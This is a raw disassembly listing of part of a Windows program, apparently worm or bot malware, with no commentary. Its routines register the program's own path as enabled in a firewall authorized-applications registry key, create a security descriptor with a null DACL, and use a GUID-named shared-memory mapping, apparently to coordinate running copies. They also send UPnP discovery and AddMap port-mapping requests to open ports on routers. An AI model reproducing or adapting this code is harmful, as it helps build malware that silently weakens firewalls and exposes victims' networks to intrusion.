loc_40217A:				; CODE XREF: sub_402106+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402106	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	si, [ebp+10h]
		xor	edi, edi
		jmp	short loc_402192
; ---------------------------------------------------------------------------


loc_40218F:				; CODE XREF: DMN0:004021A4j
		xor	edi, edi
		inc	edi


loc_402192:				; CODE XREF: DMN0:0040218Dj
		movzx	eax, si
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_402083
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40218F
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp+10h]
		xor	edi, edi
		jmp	short loc_4021C0
; ---------------------------------------------------------------------------


loc_4021BD:				; CODE XREF: DMN0:004021CFj
		xor	edi, edi
		inc	edi


loc_4021C0:				; CODE XREF: DMN0:004021BBj
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_402106
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4021BD
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	ebx
		call	sub_401F9B
		pop	ecx
		mov	eax, [esp+10h]
		mov	esi, [eax+4]
		jmp	short loc_402201
; ---------------------------------------------------------------------------


loc_4021EE:				; CODE XREF: DMN0:00402203j
		movzx	eax, word ptr [esi]
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		call	sub_402049
		add	esp, 0Ch
		mov	esi, [esi+8]


loc_402201:				; CODE XREF: DMN0:004021ECj
		test	esi, esi
		jnz	short loc_4021EE
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402208	proc near		; CODE XREF: sub_402296+98p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40225A
		push	[ebp+arg_C]
		call	sub_407650
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_40225A:				; CODE XREF: sub_402208+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_402208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40225E	proc near		; CODE XREF: DMN0:0040237Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402292
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E34	; RegDeleteKeyA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_402292:				; CODE XREF: sub_40225E+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_40225E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402296	proc near		; CODE XREF: sub_4066F1:loc_406922p

var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	104h
		lea	eax, [ebp+var_105]
		push	eax
		push	0
		call	dword_411CDC	; GetModuleFileNameA
		mov	ebx, eax
		mov	[ebp+ebx+var_105], 0
		cmp	[ebp+var_105], 0
		jz	short loc_402336
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		push	dword_4128A4
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset aNts	; "NTS"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_402208
		add	esp, 10h


loc_402336:				; CODE XREF: sub_402296+2Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402296	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	104h
		lea	eax, [ebp-105h]
		push	eax
		push	0
		call	dword_411CDC	; GetModuleFileNameA
		mov	ebx, eax
		mov	byte ptr [ebp+ebx-105h], 0
		cmp	byte ptr [ebp-105h], 0
		jz	short loc_402385
		lea	eax, [ebp-105h]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_40225E
		add	esp, 0Ch


loc_402385:				; CODE XREF: DMN0:0040236Aj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40238A	proc near		; CODE XREF: sub_4023DC+2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		cmp	dword_411008, 0
		jnz	short loc_4023D7
		push	14h
		push	40h
		call	dword_411CE0	; LocalAlloc
		mov	ebx, eax
		push	1
		push	ebx
		call	dword_411E38	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	ebx
		call	dword_411E3C	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], 1
		mov	dword_411008, 1


loc_4023D7:				; CODE XREF: sub_40238A+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40238A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4023DC	proc near		; CODE XREF: sub_403C3F+7Fp
					; sub_4066F1+23Fp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		call	sub_40238A
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	100h
		push	0
		push	4
		push	offset dword_412928
		push	0FFFFFFFFh
		call	dword_411CE4	; CreateFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_402446
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_402444
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_402444
		mov	ax, [esp+8+arg_0]
		mov	[esi], ax
		mov	ax, [esp+8+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0	; UnmapViewOfFile


loc_402444:				; CODE XREF: sub_4023DC+36j
					; sub_4023DC+4Ej
		mov	eax, ebx


loc_402446:				; CODE XREF: sub_4023DC+29j
		pop	esi
		pop	ebx
		retn
sub_4023DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402449	proc near		; CODE XREF: sub_403C3F+9Bp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4	; OpenFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4024A2
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_402499
		mov	ax, [esp+0Ch+arg_0]
		mov	[esi], ax
		mov	ax, [esp+0Ch+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0	; UnmapViewOfFile
		xor	edi, edi
		inc	edi


loc_402499:				; CODE XREF: sub_402449+33j
		push	ebx
		call	dword_411CF8	; CloseHandle
		mov	eax, edi


loc_4024A2:				; CODE XREF: sub_402449+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402449	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024A6	proc near		; CODE XREF: sub_404967+23p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	si, si
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4	; OpenFileMappingA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4024CB
		mov	eax, 0FFFFh
		jmp	short loc_40250D
; ---------------------------------------------------------------------------


loc_4024CB:				; CODE XREF: sub_4024A6+1Cj
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC	; MapViewOfFile
		mov	edi, eax
		test	edi, edi
		jz	short loc_402503
		mov	si, [edi]
		test	si, si
		jz	short loc_4024F8
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, [edi+2]
		mov	[edx], ax
		jmp	short loc_4024FC
; ---------------------------------------------------------------------------


loc_4024F8:				; CODE XREF: sub_4024A6+43j
		mov	si, 0FFFFh


loc_4024FC:				; CODE XREF: sub_4024A6+50j
		push	edi
		call	dword_411CF0	; UnmapViewOfFile


loc_402503:				; CODE XREF: sub_4024A6+3Bj
		push	ebx
		call	dword_411CF8	; CloseHandle
		movzx	eax, si


loc_40250D:				; CODE XREF: sub_4024A6+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402511	proc near		; CODE XREF: sub_4025A9+2Dp
					; sub_402B02+23Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_407650
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_407650
		pop	ecx
		mov	ebx, eax
		jmp	short loc_402555
; ---------------------------------------------------------------------------


loc_402537:				; CODE XREF: sub_402511+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC	; CompareStringA
		cmp	eax, 2
		jnz	short loc_402553
		mov	eax, esi
		jmp	short loc_40255B
; ---------------------------------------------------------------------------


loc_402553:				; CODE XREF: sub_402511+3Cj
		inc	esi
		dec	edi


loc_402555:				; CODE XREF: sub_402511+24j
		cmp	edi, ebx
		jge	short loc_402537
		xor	eax, eax


loc_40255B:				; CODE XREF: sub_402511+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402511	endp


; =============== S U B	R O U T	I N E =======================================



sub_402562	proc near		; CODE XREF: sub_4025A9+1C4p
					; sub_402896+12Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		call	dword_411CC4	; GetTickCount
		lea	esi, [eax+7D0h]


loc_402574:				; CODE XREF: sub_402562+40j
		push	ebx
		call	sub_401542
		pop	ecx
		test	eax, eax
		jle	short loc_402584
		xor	eax, eax
		inc	eax
		jmp	short loc_4025A6
; ---------------------------------------------------------------------------


loc_402584:				; CODE XREF: sub_402562+1Bj
		push	offset a_	; "."
		call	sub_407260
		pop	ecx
		push	12Ch
		call	dword_411D00	; Sleep
		call	dword_411CC4	; GetTickCount
		cmp	eax, esi
		jb	short loc_402574
		xor	eax, eax


loc_4025A6:				; CODE XREF: sub_402562+20j
		pop	esi
		pop	ebx
		retn
sub_402562	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025A9	proc near		; CODE XREF: sub_402B02+337p

var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		push	ebx
		push	esi
		push	edi
		push	10h
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_5C], 2
		xor	di, di
		push	offset aHttp	; "http://"
		push	[ebp+arg_0]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4025EB
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_4025EA:				; CODE XREF: sub_4025A9+4Aj
		inc	ebx


loc_4025EB:				; CODE XREF: sub_4025A9+38j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4025F5
		cmp	al, 2Fh
		jnz	short loc_4025EA


loc_4025F5:				; CODE XREF: sub_4025A9+46j
		jmp	short loc_4025F8
; ---------------------------------------------------------------------------


loc_4025F7:				; CODE XREF: sub_4025A9+57j
		inc	ebx


loc_4025F8:				; CODE XREF: sub_4025A9:loc_4025F5j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402602
		cmp	al, 2Fh
		jz	short loc_4025F7


loc_402602:				; CODE XREF: sub_4025A9+53j
		xor	esi, esi
		jmp	short loc_40261A
; ---------------------------------------------------------------------------


loc_402606:				; CODE XREF: sub_4025A9+7Dj
		cmp	esi, 3Fh
		jb	short loc_402612
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402612:				; CODE XREF: sub_4025A9+60j
		mov	al, [ebx]
		mov	[ebp+esi+var_40], al
		inc	esi
		inc	ebx


loc_40261A:				; CODE XREF: sub_4025A9+5Bj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402628
		cmp	al, 3Ah
		jz	short loc_402628
		cmp	al, 2Fh
		jnz	short loc_402606


loc_402628:				; CODE XREF: sub_4025A9+75j
					; sub_4025A9+79j
		mov	[ebp+esi+var_40], 0
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_402639
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402639:				; CODE XREF: sub_4025A9+87j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_402660
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402646:				; CODE XREF: sub_4025A9+C3j
		movzx	eax, di
		lea	eax, [eax+eax*4]
		add	eax, eax
		mov	di, ax
		movzx	eax, di
		movsx	edx, byte ptr [ebx]
		sub	edx, 30h
		add	eax, edx
		mov	di, ax
		inc	ebx


loc_402660:				; CODE XREF: sub_4025A9+94j
		mov	al, [ebx]
		test	al, al
		jz	short loc_40266E
		cmp	al, 30h
		jl	short loc_40266E
		cmp	al, 39h
		jle	short loc_402646


loc_40266E:				; CODE XREF: sub_4025A9+BBj
					; sub_4025A9+BFj
		cmp	di, 1
		jnb	short loc_40267C
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_40267B:				; CODE XREF: sub_4025A9+DBj
		inc	ebx


loc_40267C:				; CODE XREF: sub_4025A9+C9j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402686
		cmp	al, 2Fh
		jnz	short loc_40267B


loc_402686:				; CODE XREF: sub_4025A9+D7j
		cmp	byte ptr [ebx],	0
		jnz	short loc_402692
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402692:				; CODE XREF: sub_4025A9+E0j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_406D08	; inet_addr
		mov	[ebp+var_58], eax
		movzx	eax, di
		push	eax
		call	sub_406CD8	; htons
		mov	[ebp+var_5A], ax
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
		call	sub_407260
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	sub_406CBA	; socket
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026D9
		and	[ebp+var_44], 0


loc_4026D9:				; CODE XREF: sub_4025A9+12Aj
		cmp	[ebp+var_44], 0
		jnz	short loc_4026E6
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_4026E6:				; CODE XREF: sub_4025A9+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_406D08	; inet_addr
		movzx	edx, di
		push	edx
		push	eax
		push	[ebp+var_44]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402713
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402713:				; CODE XREF: sub_4025A9+158j
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_4072C0
		add	esp, 14h
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_407650
		pop	ecx
		mov	[ebp+var_48], eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+var_44]
		call	sub_401787
		add	esp, 0Ch
		cmp	eax, [ebp+var_48]
		jz	short loc_40276A
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_40276A:				; CODE XREF: sub_4025A9+1AFj
		push	[ebp+var_44]
		call	sub_402562
		pop	ecx
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_4C], eax
		push	0FFFFh
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_401713
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	short loc_4027D2
		push	[ebp+var_44]
		call	sub_401542
		pop	ecx
		mov	[ebp+var_468], eax
		cmp	eax, 0FFFFh
		jle	short loc_4027BB
		mov	[ebp+var_468], 0FFFFh


loc_4027BB:				; CODE XREF: sub_4025A9+206j
		push	[ebp+var_468]
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_48], eax


loc_4027D2:				; CODE XREF: sub_4025A9+1F0j
		push	[ebp+var_48]
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
		call	sub_407260
		add	esp, 10h
		cmp	[ebp+var_48], 1
		jge	short loc_402809
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_40288F
; ---------------------------------------------------------------------------


loc_402809:				; CODE XREF: sub_4025A9+245j
		push	offset asc_40F5F0 ; "\n"
		push	[ebp+var_4C]
		call	sub_4076C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_460], eax
		test	eax, eax
		jnz	short loc_402838
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_40288F
; ---------------------------------------------------------------------------


loc_402838:				; CODE XREF: sub_4025A9+277j
		push	offset a200	; "200"
		push	[ebp+var_4C]
		call	sub_4076C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_464], eax
		test	eax, eax
		jz	short loc_402859
		cmp	eax, [ebp+var_460]
		jbe	short loc_40286F


loc_402859:				; CODE XREF: sub_4025A9+2A6j
		push	[ebp+var_4C]
		call	sub_401076
		pop	ecx
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_40288F
; ---------------------------------------------------------------------------


loc_40286F:				; CODE XREF: sub_4025A9+2AEj
		push	[ebp+var_44]
		call	sub_4014C2
		pop	ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407670
		pop	ecx
		pop	ecx
		mov	edx, [ebp+arg_8]
		mov	[edx], di
		mov	eax, [ebp+var_4C]


loc_40288F:				; CODE XREF: sub_4025A9+3Cj
					; sub_4025A9+64j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4025A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402896	proc near		; CODE XREF: sub_402B02+50Fp
					; sub_402B02+53Dp

var_2014	= dword	ptr -2014h
var_2010	= dword	ptr -2010h
var_200C	= dword	ptr -200Ch
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h
arg_14		= word ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_407730
		push	ebx
		push	esi
		push	edi
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_14]
		push	eax
		push	offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4072C0
		add	esp, 10h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_407650
		pop	ecx
		mov	[ebp+var_200C],	eax
		cmp	[ebp+arg_0], 0
		jz	short loc_402904
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_4072C0
		add	esp, 18h
		jmp	short loc_402929
; ---------------------------------------------------------------------------


loc_402904:				; CODE XREF: sub_402896+45j
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_4072C0
		add	esp, 18h


loc_402929:				; CODE XREF: sub_402896+6Cj
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
		call	sub_407260
		add	esp, 0Ch
		call	sub_401359
		mov	edi, eax
		test	eax, eax
		jz	loc_402AFB
		push	[ebp+arg_4]
		call	sub_406D08	; inet_addr
		movzx	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	edi
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40298B
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_40298B:				; CODE XREF: sub_402896+E5j
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_407650
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1008]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jz	short loc_4029C1
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_4029C1:				; CODE XREF: sub_402896+11Bj
		push	edi
		call	sub_402562
		pop	ecx
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_8], eax
		push	0FFFFh
		push	[ebp+var_8]
		push	edi
		call	sub_401713
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_402A21
		push	edi
		call	sub_401542
		pop	ecx
		mov	[ebp+var_2014],	eax
		cmp	eax, 0FFFFh
		jle	short loc_402A0C
		mov	[ebp+var_2014],	0FFFFh


loc_402A0C:				; CODE XREF: sub_402896+16Aj
		push	[ebp+var_2014]
		push	[ebp+var_8]
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_402A21:				; CODE XREF: sub_402896+156j
		push	[ebp+var_4]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
		call	sub_407260
		add	esp, 10h
		cmp	[ebp+var_4], 1
		jge	short loc_402A56
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	loc_402AFB
; ---------------------------------------------------------------------------


loc_402A56:				; CODE XREF: sub_402896+1A7j
		push	offset asc_40F5F0 ; "\n"
		push	[ebp+var_8]
		call	sub_4076C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		test	eax, eax
		jnz	short loc_402A83
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_402AFB
; ---------------------------------------------------------------------------


loc_402A83:				; CODE XREF: sub_402896+1D7j
		mov	ebx, [ebp+var_8]
		jmp	short loc_402A89
; ---------------------------------------------------------------------------


loc_402A88:				; CODE XREF: sub_402896+1FBj
		inc	ebx


loc_402A89:				; CODE XREF: sub_402896+1F0j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402A93
		cmp	al, 20h
		jnz	short loc_402A88


loc_402A93:				; CODE XREF: sub_402896+1F7j
		jmp	short loc_402A96
; ---------------------------------------------------------------------------


loc_402A95:				; CODE XREF: sub_402896+208j
		inc	ebx


loc_402A96:				; CODE XREF: sub_402896:loc_402A93j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402AA0
		cmp	al, 20h
		jz	short loc_402A95


loc_402AA0:				; CODE XREF: sub_402896+204j
		xor	esi, esi
		jmp	short loc_402AB4
; ---------------------------------------------------------------------------


loc_402AA4:				; CODE XREF: sub_402896+22Aj
		lea	esi, [esi+esi*4]
		add	esi, esi
		movsx	eax, byte ptr [ebx]
		sub	eax, 30h
		add	esi, eax
		inc	ebx
		jmp	short loc_402AC2
; ---------------------------------------------------------------------------


loc_402AB4:				; CODE XREF: sub_402896+20Cj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402AC2
		cmp	al, 30h
		jl	short loc_402AC2
		cmp	al, 39h
		jle	short loc_402AA4


loc_402AC2:				; CODE XREF: sub_402896+21Cj
					; sub_402896+222j ...
		push	esi
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
		call	sub_407260
		add	esp, 10h
		cmp	esi, 2
		jz	short loc_402AF1
		push	[ebp+var_8]
		call	sub_401076
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		jmp	short loc_402AFB
; ---------------------------------------------------------------------------


loc_402AF1:				; CODE XREF: sub_402896+245j
		push	edi
		call	sub_4014C2
		pop	ecx
		xor	eax, eax
		inc	eax


loc_402AFB:				; CODE XREF: sub_402896+C6j
					; sub_402896+F0j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B02	proc near		; CODE XREF: sub_40356A+6Cp
					; sub_404967+150p

var_18A0	= dword	ptr -18A0h
var_189C	= byte ptr -189Ch
var_188C	= dword	ptr -188Ch
var_1888	= dword	ptr -1888h
var_1884	= dword	ptr -1884h
var_187E	= byte ptr -187Eh
var_183E	= word ptr -183Eh
var_183C	= dword	ptr -183Ch
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_181C	= word ptr -181Ch
var_181A	= word ptr -181Ah
var_1818	= dword	ptr -1818h
var_1809	= byte ptr -1809h
var_1409	= byte ptr -1409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 18A0h
		call	sub_407730
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1820],	3E8h
		cmp	[ebp+arg_0], 0
